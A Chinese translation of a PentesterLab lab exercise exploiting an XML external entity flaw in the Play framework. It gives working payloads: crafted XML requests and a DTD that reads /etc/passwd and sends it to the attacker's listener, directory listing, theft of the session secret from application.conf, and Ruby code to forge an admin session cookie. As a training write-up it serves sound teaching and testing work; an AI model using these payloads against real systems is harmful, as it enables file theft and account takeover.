Play框架xml实体攻击
1 介绍
这个课程详细讲述了利用Play框架xml实体漏洞的过程,这个漏洞可被用来获取任意文件,也可以列出任意目录的内容。
关于这个bug的一个有趣的事情在于,这个漏洞是完全公开的,却在很长一段时间没有被注意到。要想在黑盒测试中找到这个bug,你需要明白自己要找什么。如果你不想看本文,可以去看官方的文档https://www.playframework.com/security/vulnerability/20130920-XmlExternalEntity
2 Play框架
Play框架是一个web框架,它允许开发人员用Java或Scala快速构建web应用程序。 代码的组织方式和URL映射非常类似于ruby on rails。
3 漏洞详情
解析XML消息时,最重要的安全检查是确保XML实体已被禁用。 XML实体可以用来告诉XML解析器获取特殊的内容,比如从以下位置:
这显然可以从被攻击者获取应用程序的敏感信息(路径、密码、源代码,…)。
这个影响play框架的bug是一个xml实体bug,然而这个攻击在响应中是不会显示任何信息的,这就是为什么下面我们会需要其他方法来获取信息。
4 利用过程
利用过程有以下几步
1 发送初始化请求
首先我们需要发送正确的HTTP请求,做到这件事最简单的方法是就是构建一个脚本来连接服务器,发送请求,我们并不关心响应但仍能获取他,你能用一个代理(推荐burp的repeater模式)做到同样的事情或者手动的用netcat,区别在于使用netcat你需要手动设置Content-Length头
初始化请求需要是一个POST请求,来保证框架会解析请求的内容,这里的这个应用非常简单,在登陆的时候,我们可以看到,一个POST请求会被发送:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
POST /login HTTP/1.1
Host: vulnerable
User-Agent: PentesterLab
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://vulnerable/login
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=test
|
现在我们需要修改请求来发送xml,有以下几个步骤
1
2
3
4
5
6
7
8
9
|
POST /login HTTP/1.1
Host: vulnerable
Connection: close
Content-Type: text/xml
Content-Length: 36
<?xml version=“1.0″?>
<foo>bar</foo>
|
最后我们需要增加xml实体payload
1
2
3
4
5
6
7
8
9
|
POST /login HTTP/1.1
Host: vulnerable
Connection: close
Content-Type: text/xml
Content-Length: 97
<?xml version=“1.0″?>
<!DOCTYPE foo SYSTEM “http://192.168.159.1:3000/test.dtd”>
<foo>&e1;</foo>
|
http://192.168.159.1:3000/test.dtd 是dtd文件的位置
现在我们已经有了包含xml的正确HTTP请求,我们将其发送到服务器,如果一切正常,服务器会返回一个400错误,因为我们的dtd文件不存在。
2 提供DTD
为了提供一个dtd文件或其他文件,我们需要一个web服务器。我们可以使用任何服务器做到这一点,但是我们首先需要确认服务器是否真的能获取到DTD文件。在一个真实的环境中,被攻击服务器或许无法访问到我们的服务器,所以我们要先测试一下。
要做到这件事最简单的方法是:
1 运行一个小型服务器,我个人一般是使用Webrick,并且使用一个shell别名随时准备启动web服务器
1
2
3
|
alias web=“ruby -rwebrick -e’s=WEBrick::HTTPServer.new(:Port => 3000, :DocumentRoot => Dir.pwd);
trap(/”INT/”){s.shutdown};s.start’”
|
2 运行web服务器,对日志文件使用tail -f来查看每一条接收到的请求
使用上面的别名,你会看到如下的请求:
1
2
3
4
5
6
7
8
9
10
|
% web
[2015-03-31 08:19:28] INFO WEBrick 1.3.1
[2015-03-31 08:19:28] INFO ruby 1.9.3 (2012-12-25) [x86_64-darwin12.2.1]
[2015-03-31 08:19:28] WARN TCPServer Error: Address already in use - bind(2)
[2015-03-31 08:19:28] INFO WEBrick::HTTPServer#start: pid=6028 port=3000
|
当看到以上的信息时,要确保你能通过浏览器访问到dtd文件,然后你会看到如下请求
1
2
|
localhost - - [31/Mar/2015:08:20:46 AEDT] “GET /test.dtd HTTP/1.1″ 200 153
http://localhost:3000/ -> /test.dtd
|
为了让服务器发送内容给我们,我们需要提供如下的DTD
1
2
3
|
<!ENTITY % p1 SYSTEM “file:///etc/passwd”>
<!ENTITY % p2 “<!ENTITY e1 SYSTEM ’http://192.168.159.1:3001/BLAH?%p1;’>”>
%p2;
|
DTD文件会强迫XML解析器读取/etc/passwd的内容并赋值给变量p1,然后创建另一个变量p2,包含有到我们服务器的连接和p1的值,然后会使用%p2;输出p2的值,当解析后,DTD会变为
1
|
<!ENTITY e1 SYSTEM ‘http://192.168.159.1:3001/BLAH?[/etc/passwd]‘>
|
[/etc/passwd] 是 /etc/passwd 的内容
如果你回头去看我们最初发送的请求,内容就包括了对e1的引用<foo>&e1;</foo>
当服务器结束了对DTD文件的处理,就会解析对e1的引用,然后发送/etc/passwd的内容到我们的服务器
3 获取信息
最后,我们需要一个获取信息的方法,可以像下面这样做:
1 netcat -l -p 3001 缺点是每次你使用此端口后需要重启进程
2 socat TCP-LISTEN:3001,reuseaddr,fork – 在第一次请求之后不会关闭,但是在一些请求之后或许会阻塞
现在我们一切就绪,让我们获取/etc/passwd的内容
在上半部分右边,我们能看到最后的请求和/etc/passwd的内容一起在url中
1
2
3
4
5
6
|
GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1
User-Agent: Java/1.7.0-internal
Host: 192.168.159.1:3001
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
|
5 在一般情况下检测这种类型的漏洞
在一般情况下,你不能确定服务器是否会被允许反向连接到你,为了检测这种bug(并且判断服务器是否解析外部名称),你可以使用DNS
要做到这一点,你只需要配置一个DNS服务器,并且监控他的日志。然后你可以发送一个包含指向你自己域名的xml实体的请求http://rand0m123.blah.ptl.io/,如果服务器存在xml实体漏洞(并且可以解析外部域名),你会看到一个来自漏洞服务器的DNS查询
6 找到秘密URL
现在一切顺利的话,我们就需要开始找那个秘密URL,play框架使用了一个名为route的文件哪些url可用,哪些方法能被调用。我们需要找到这个文件来获得对秘密URL的访问。
找到应用位置的常见方法是访问环境,这可以通过读/proc/self/environ做到。然而,当不支持解析器从/proc读取时不会奏效(或许是因为他使用了DataInputStream).
如果我们返回到/etc/passwd的内容并且解开url编码(例如使用ruby),可以看到一个名叫play的用户存在
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
% irb
1.9.3-p362 :001 > require ‘uri’
=> true
1.9.3-p362 :002 > puts URI.decode(“GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1″)
GET /BLAH?root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
|
这个用户的home目录在/opt/play-2.1.3/xxe/,这是一个很好的确定应用位置的机会。
取决于不同的xml解析器,也有可能获取一个目录的文件列表,测试的唯一方法就是实际去尝试获取。在这儿,我们可以修改DTD文件,使其指向/opt/play-2.1.3/xxe/
1
2
3
4
5
|
<!ENTITY % p1 SYSTEM “file:///opt/play-2.1.3/xxe/”>
<!ENTITY % p2 “<!ENTITY e1 SYSTEM ’http://192.168.159.1:3001/BLAH?%p1;’>”>
%p2;
|
我们会看到目录的文件列表
1
|
GET /BLAH?.gitignore%0A.settings%0Aapp%0Aconf%0Alogs%0Aproject%0Apublic%0AREADME%0ARUNNING_PID%0Atarget%0Atest%0A HTTP/1.1
|
同样可以被解码为
1
2
3
4
5
6
7
8
9
10
11
12
|
GET /BLAH?.gitignore
.settings
app
conf
logs
project
public
README
RUNNING_PID
target
test
HTTP/1.1
|
通过这种方法,你可以找到conf/routes。当你能够获取routes文件时,你也就能够访问到秘密URL了
7 拦截session
另一个对play框架应用来说很重要的文件是application.conf,这个文件包含了用于生成session的密钥.这个文件同样也在conf目录里,一旦获取这个文件之后,就可以通过这个密钥很容易的生成自己想要的session.
首先,你需要用上面讲解的方法获取conf/application.conf.第二步是通过这个密钥伪造自己的session.要做到这一步,我们需要对session有更深的理解,我们可以通过获取源码来更好的理解这儿的逻辑
根据conf/routes,我们可以知道,当提交login表单时controllers.Application.login方法会被调用,一般来说,这段代码位于app/controllers/Application.java.
当我们获取了这个控制器的源代码,我们可以看到session管理是通过存取一个名为user的变量
1
2
3
4
5
6
7
8
9
|
User user = User.findByUsername(username);
if (user!=null) {
if (user.password.equals(md5(username+“:”+password) )) {
session(“user”,username);
return redirect(“/”);
|
我们需要伪造一个session,包含变量user和值admin.如果你看过我们之前另一个关于play框架的课程:play框架session注入,你可能会很惊讶的发现paly框架dsession的结构改变了.
之前的模式是这样的
1
|
signature-%00name1:value1%00%00name2:value2%00
|
再这个版本的play框架里,会使用如下的方式
1
|
signature-name1=value1&name2=value2
|
程序使用的代码可以在framework/src/play/src/main/scala/play/api/mvc/Http.scala找到
1
2
3
4
5
6
7
8
9
10
|
def encode(data: Map[String, String]): String = {
val encoded = data.map {
case (k, v) => URLEncoder.encode(k, “UTF-8″) + “=” +
URLEncoder.encode(v, “UTF-8″)
}.mkString(“&”)
if (isSigned)
Crypto.sign(encoded) + “-” + encoded
else
encoded
}
|
我们现在可以增加我们自己的变量:user=admin
最后,我们可以生成session,程序生成代码如下
1
2
3
4
5
6
7
8
9
|
def sign(message: String, key: Array[Byte]): String = {
val mac = Mac.getInstance(“HmacSHA1″)
mac.init(new SecretKeySpec(key, “HmacSHA1″))
Codecs.toHexString(mac.doFinal(message.getBytes(“utf-8″)))
}
|
再ruby中可以这样写
1
2
3
4
5
6
7
|
KEY = “[KEY FOUND IN conf/application.conf]“
def sign(data)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, KEY,data)
End
|
最后一步是找到session所在cookie的名字,这个名字是没有改变的,我们可以在conf/application.conf找到,默认的名字是
PLAY_SESSION
在我们的浏览器设置cookie后,可以看到我们已经以admin登陆了
总结
这个课程讲解了怎样利用play框架中的xml实体漏洞,,这个漏洞的有趣之处在于他影响了程序本身,但却是以和程序员使用方式相反的方式.希望你能享受在pentesterlab学习的过程.
镜像下载及原文地址 https://www.pentesterlab.com/exercises/play_xxe
【版权属于原作者Pentesterlab.com 翻译by:91RI团队-君莫笑】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号